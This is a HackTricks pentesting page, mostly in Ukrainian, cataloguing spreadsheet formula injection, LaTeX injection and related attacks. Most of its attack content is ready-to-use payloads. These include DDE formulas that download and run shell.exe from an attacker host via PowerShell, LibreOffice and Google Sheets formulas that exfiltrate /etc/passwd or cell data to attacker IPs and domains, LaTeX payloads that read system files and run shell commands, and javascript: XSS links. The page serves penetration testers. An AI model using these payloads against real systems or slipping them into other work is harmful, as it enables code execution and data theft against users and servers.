hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

16 KiB
Raw Blame History

Formula/CSV/Doc/LaTeX/GhostScript Injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}


Formula Injection

Info

Якщо ваш вхід відображається всередині CSV файлів (або будь-якого іншого файлу, який, ймовірно, буде відкритий за допомогою Excel), ви, можливо, зможете вставити формули Excel, які будуть виконані, коли користувач відкриває файл або коли користувач натискає на деяке посилання всередині аркуша Excel.

{% hint style="danger" %} Сьогодні Excel попередить (декілька разів) користувача, коли щось завантажується ззовні Excel, щоб запобігти йому від злочинних дій. Тому необхідно докласти спеціальних зусиль у соціальній інженерії до фінального payload. {% endhint %}

Wordlist

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

Наступний приклад є дуже корисним для ексфільтрації вмісту з фінальної таблиці Excel та для виконання запитів до довільних місць. Але це вимагає, щоб користувач натиснув на посилання (і прийняв попередження).

Наступний приклад був взятий з https://payatu.com/csv-injection-basic-to-exploit

Уявіть, що у системі управління записами студентів сталася витік безпеки, який був використаний через атаку CSV injection. Основна мета зловмисника - скомпрометувати систему, яку використовують вчителі для управління даними студентів. Метод полягає в тому, що зловмисник вводить шкідливий код у додаток, зокрема, вводячи шкідливі формули у поля, призначені для даних студентів. Атака розгортається наступним чином:

  1. Введення шкідливого коду:
  • Зловмисник подає форму даних студента, але включає формулу, яка зазвичай використовується в електронних таблицях (наприклад, =HYPERLINK("<malicious_link>","Click here")).
  • Ця формула призначена для створення гіперпосилання, але вона вказує на шкідливий сервер, контрольований зловмисником.
  1. Експорт скомпрометованих даних:
  • Вчителі, не підозрюючи про компрометацію, використовують функціональність додатка для експорту даних у CSV файл.
  • CSV файл, коли його відкривають, все ще містить шкідливий код. Цей код з'являється як клікабельне гіперпосилання в електронній таблиці.
  1. Активація атаки:
  • Вчитель натискає на гіперпосилання, вважаючи його легітимною частиною даних студента.
  • Після натискання чутливі дані (можливо, включаючи деталі з електронної таблиці або комп'ютера вчителя) передаються на сервер зловмисника.
  1. Логування даних:
  • Сервер зловмисника отримує та реєструє чутливі дані, надіслані з комп'ютера вчителя.
  • Зловмисник може потім використовувати ці дані для різних шкідливих цілей, ще більше компрометуючи конфіденційність і безпеку студентів та установи.

RCE

Перевірте оригінальний пост для отримання додаткових деталей.

У специфічних конфігураціях або старіших версіях Excel функція, званий Динамічний обмін даними (DDE), може бути використана для виконання довільних команд. Щоб скористатися цим, необхідно активувати наступні налаштування:

  • Перейдіть до Файл → Параметри → Центр управління безпекою → Налаштування центру управління безпекою → Зовнішній вміст, і активуйте Запуск сервера динамічного обміну даними.

Коли електронна таблиця з шкідливим кодом відкривається (і якщо користувач приймає попередження), код виконується. Наприклад, щоб запустити програму калькулятора, код буде:

=cmd|' /C calc'!xxx

Додаткові команди також можуть бути виконані, такі як завантаження та виконання файлу за допомогою PowerShell:

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Local File Inclusion (LFI) in LibreOffice Calc

LibreOffice Calc може бути використаний для читання локальних файлів та ексфільтрації даних. Ось кілька методів:

  • Читання першого рядка з локального файлу /etc/passwd: ='file:///etc/passwd'#$passwd.A1
  • Ексфільтрація прочитаних даних на сервер, контрольований зловмисником: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
  • Ексфільтрація більше ніж одного рядка: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
  • DNS ексфільтрація (відправка прочитаних даних як DNS запити на сервер DNS, контрольований зловмисником): =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))

Google Sheets for Out-of-Band (OOB) Data Exfiltration

Google Sheets пропонує функції, які можуть бути використані для OOB ексфільтрації даних:

  • CONCATENATE: Об'єднує рядки - =CONCATENATE(A2:E2)
  • IMPORTXML: Імпортує дані з структурованих типів даних - =IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
  • IMPORTFEED: Імпортує RSS або ATOM стрічки - =IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
  • IMPORTHTML: Імпортує дані з HTML таблиць або списків - =IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
  • IMPORTRANGE: Імпортує діапазон клітинок з іншої таблиці - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
  • IMAGE: Вставляє зображення в клітинку - =IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")

LaTeX Injection

Зазвичай сервери, які можна знайти в інтернеті, що конвертують LaTeX код в PDF, використовують pdflatex.
Ця програма використовує 3 основні атрибути для (не)дозволу виконання команд:

  • --no-shell-escape: Вимкнути конструкцію \write18{command}, навіть якщо вона увімкнена в файлі texmf.cnf.
  • --shell-restricted: Те ж саме, що і --shell-escape, але обмежено 'безпечним' набором попередньо визначених **команд (**На Ubuntu 16.04 список знаходиться в /usr/share/texmf/web2c/texmf.cnf).
  • --shell-escape: Увімкнути конструкцію \write18{command}. Команда може бути будь-якою командою оболонки. Ця конструкція зазвичай заборонена з міркувань безпеки.

Однак є й інші способи виконання команд, тому, щоб уникнути RCE, дуже важливо використовувати --shell-restricted.

Read file

Вам може знадобитися налаштувати ін'єкцію з обгортками, такими як [ або $.

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

Прочитати файл з одного рядка

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

Читання файлу з кількома рядками

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

Записати файл

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Виконання команд

Вхідні дані команди будуть перенаправлені до stdin, використовуйте тимчасовий файл, щоб їх отримати.

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

Якщо ви отримаєте будь-яку помилку LaTex, розгляньте можливість використання base64, щоб отримати результат без поганих символів.

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

Cross Site Scripting

Від @EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Ghostscript Injection

Перевірте https://blog.redteam-pentesting.de/2023/ghostscript-overview/

Посилання

Спробуйте Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

{% hint style="success" %} Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks
{% endhint %}